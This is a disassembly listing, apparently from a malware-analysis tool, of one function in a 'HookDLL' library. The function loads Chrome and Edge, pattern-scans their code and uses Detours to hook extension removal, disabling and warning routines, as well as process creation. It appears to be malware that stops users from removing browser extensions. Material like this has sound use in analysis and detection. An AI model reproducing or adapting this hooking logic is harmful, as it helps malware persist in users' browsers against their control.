Function at 0x18000b190
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x180078040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
lea rcx, str.__HookDLL_..._hook_functions_Start
call fcn.180003020
call fcn.180033940
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.180033e60
mov edi, dword [0x18007b988]
mov ebx, dword [0x18007b778]
test edi, edi
jne 0x18000b1fb
test ebx, ebx
je 0x18000b736
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x208
call fcn.18005fe20
test edi, edi
je 0x18000b232
lea rcx, str.__HookDLL_..._hook_functions_lv_bChrome
call fcn.180003020
lea rdx, [rbp - 0x60]
lea rcx, str.chrome.dll
call fcn.18000afa0
mov ebx, dword [0x18007b778]
test ebx, ebx
je 0x18000b252
lea rcx, str.__HookDLL_..._hook_functions_lv_bEdge
call fcn.180003020
lea rdx, [rbp - 0x60]
lea rcx, str.msedge.dll
call fcn.18000afa0
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.ChromeMain
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [0x18007b988], 0
mov r15, rax
je 0x18000b425
lea rcx, str.__HookDLL_..._hook_functions_lv_bChrome_Engine
call fcn.180003020
xorps xmm0, xmm0
mov dword [rsp + 0x68], 0x56415741
xorps xmm1, xmm1
mov dword [rsp + 0x6c], 0x54415541
mov r8d, 0x18
mov dword [rsp + 0x70], 0x53555756
lea rdx, str.Extensions.UninstallType
mov dword [rsp + 0x74], 0x38ec8148
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
movdqu xmmword [rbp - 0x70], xmm1
call fcn.180007e90
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.18000ace0
mov rdx, qword [rbp - 0x68]
mov rbx, rax
cmp rdx, 0xf
jbe 0x18000b31a
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000b315
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b7ff
call fcn.180030860
movdqa xmm0, xmmword [0x18006efa0]
lea r9, [rsp + 0x68]
mov r8, r15
mov byte [rbp - 0x80], 0
mov rdx, rbx
mov dword [rsp + 0x20], 0x10
mov rcx, r14
movdqu xmmword [rbp - 0x70], xmm0
call fcn.18000adc0
mov rdi, rax
mov qword [0x18007b760], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rcx, qword [rsp + 0x48]
mov esi, dword [rsp + 0x50]
sub rdi, rcx
add rsi, 0xffffffffffffffcd
mov dword [rbp - 0x80], 0x56415741
mov dword [rbp - 0x7c], 0x48535756
mov dword [rbp - 0x78], 0x4420ec83
mov dword [rbp - 0x74], 0x894cce89
mov dword [rbp - 0x70], 0xd68949c7
mov dword [rbp - 0x6c], 0x31cb8948
mov word [rbp - 0x68], 0xe8c9
mov dword [rsp + 0x68], 0x6174c084
mov dword [rsp + 0x6c], 0xf88b8b48
mov dword [rsp + 0x70], 0x48000001
mov dword [rsp + 0x74], 0xb841fa89
mov dword [rsp + 0x78], 0x1f
mov byte [rsp + 0x7c], 0xe8
cmp rdi, rsi
jae 0x18000b41c
lea rbx, [rdi + rcx]
mov r8d, 0x1a
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.180060260
test eax, eax
jne 0x18000b411
lea rcx, [rbx + 0x1e]
mov r8d, 0x15
lea rdx, [rsp + 0x68]
call fcn.180060260
test eax, eax
je 0x18000b41e
inc rdi
inc rbx
cmp rdi, rsi
jb 0x18000b3e3
xor ebx, ebx
mov qword [0x18007b758], rbx
cmp dword [0x18007b778], 0
je 0x18000b6bb
lea rcx, str.__HookDLL_..._hook_functions_lv_bEdge_Engine
call fcn.180003020
mov dword [rsp + 0x30], 0xec834856
mov dword [rsp + 0x34], 0xd6894820
mov qword [rsp + 0x38], 0xffffffffe8d18948
mov dword [rsp + 0x40], 0x1b0c189
mov byte [rsp + 0x44], 0x83
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r11d, dword [rsp + 0x50]
mov r10, r15
mov rbx, qword [rsp + 0x48]
sub r11, 0x40
sub r10, rbx
cmp r10, r11
jae 0x18000b4f0
lea rax, [rsp + 0x30]
mov r9, r10
sub r9, rax
add r9, rbx
nop dword [rax + rax]
xor r8d, r8d
lea rax, [rsp + 0x30]
xor edx, edx
nop word [rax + rax]
movzx ecx, byte [rax]
cmp byte [r9 + rax], cl
je 0x18000b4ce
cmp cl, 0xff
jne 0x18000b4db
inc r8d
inc edx
inc rax
cmp edx, 0x15
jb 0x18000b4c0
cmp r8d, 0x15
je 0x18000b7f0
inc r10
inc r9
cmp r10, r11
jb 0x18000b4b0
xor eax, eax
xorps xmm0, xmm0
mov qword [0x18007b750], rax
xorps xmm1, xmm1
mov dword [rsp + 0x68], 0x56415741
mov r8d, 0x18
mov dword [rsp + 0x6c], 0x54415541
lea rdx, str.Extensions.UninstallType
mov dword [rsp + 0x70], 0x53555756
lea rcx, [rbp - 0x80]
mov word [rsp + 0x74], 0x8148
movups xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x76], 0xec
movdqu xmmword [rbp - 0x70], xmm1
call fcn.180007e90
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.18000ace0
mov rdx, qword [rbp - 0x68]
mov rbx, rax
cmp rdx, 0xf
jbe 0x18000b58c
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000b587
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b7f9
call fcn.180030860
movdqa xmm0, xmmword [0x18006efa0]
lea r9, [rsp + 0x68]
mov r8, r15
mov byte [rbp - 0x80], 0
mov rdx, rbx
mov dword [rsp + 0x20], 0xf
mov rcx, r14
movdqu xmmword [rbp - 0x70], xmm0
call fcn.18000adc0
mov rbx, rax
mov qword [0x18007b760], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rbp - 0x80]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rcx, qword [rbp - 0x80]
mov edx, dword [rbp - 0x78]
sub rbx, rcx
add rdx, 0xffffffffffffffe1
mov dword [rsp + 0x48], 0x56415741
mov dword [rsp + 0x4c], 0x48535756
mov dword [rsp + 0x50], 0x4420ec83
mov dword [rsp + 0x54], 0x894ccf89
mov dword [rsp + 0x58], 0xd68949c3
mov dword [rsp + 0x5c], 0xe8ce8948
mov word [rsp + 0x60], 0x8b48
mov dword [rsp + 0x68], 0xfc98548
mov dword [rsp + 0x6c], 0x9e84
mov dword [rsp + 0x70], 0x18b4800
mov dword [rsp + 0x74], 0x40408b48
mov word [rsp + 0x78], 0x15ff
cmp rbx, rdx
jae 0x18000b6b2
mov r8, qword [rsp + 0x50]
lea rax, [rbx + rcx]
mov rcx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
movzx esi, word [rsp + 0x60]
movzx r10d, word [rsp + 0x78]
mov r11, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
cmp qword [rax], r9
jne 0x18000b6a7
cmp qword [rax + 8], r8
jne 0x18000b6a7
cmp qword [rax + 0x10], rcx
jne 0x18000b6a7
cmp word [rax + 0x1c], si
jne 0x18000b6a7
cmp byte [rax + 0x1e], 0xd
jne 0x18000b6a7
cmp qword [rax + 0x23], rdi
jne 0x18000b6a7
cmp qword [rax + 0x2b], r11
jne 0x18000b6a7
cmp word [rax + 0x33], r10w
je 0x18000b6b4
inc rbx
inc rax
cmp rbx, rdx
jb 0x18000b677
xor eax, eax
mov qword [0x18007b758], rax
cmp qword [0x18007b760], 0
je 0x18000b6e4
lea rcx, str.__HookDLL_..._hook_functions_Remove_event_DetourAttach
call fcn.180003020
lea rdx, [0x18000aed0]
lea rcx, [0x18007b760]
call fcn.180033140
cmp qword [0x18007b758], 0
je 0x18000b70d
lea rcx, str.__HookDLL_..._hook_functions_Disable_event_DetourAttach
call fcn.180003020
lea rdx, [0x18000ac30]
lea rcx, [0x18007b758]
call fcn.180033140
cmp qword [0x18007b750], 0
je 0x18000b736
lea rcx, str.__HookDLL_..._hook_functions_Warring_event_DetourAttach
call fcn.180003020
lea rdx, [method.std::codecvt_wchar_t__char__struct__Mbstatet_.virtual_24]
lea rcx, [0x18007b750]
call fcn.180033140
cmp dword [0x18007b98c], 0
je 0x18000b7a3
lea rcx, str.Kernelbase.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.CreateProcessA
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateProcessW
mov rcx, rbx
mov qword [0x18007b770], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x180009e70]
mov qword [0x18007b768], rax
lea rcx, [0x18007b770]
call fcn.180033140
lea rdx, [0x180009f20]
lea rcx, [0x18007b768]
call fcn.180033140
call fcn.1800339b0
test eax, eax
je 0x18000b7b8
lea rcx, str.__HookDLL_..._hook_functions_error_DetourTransactionCommit_
call fcn.180003020
lea rcx, str.__HookDLL_..._hook_functions_End
call fcn.180003020
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.180030840
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rax, [r10 + rbx]
jmp 0x18000b4f2
call fcn.180042c58
int3
call fcn.180042c58
int3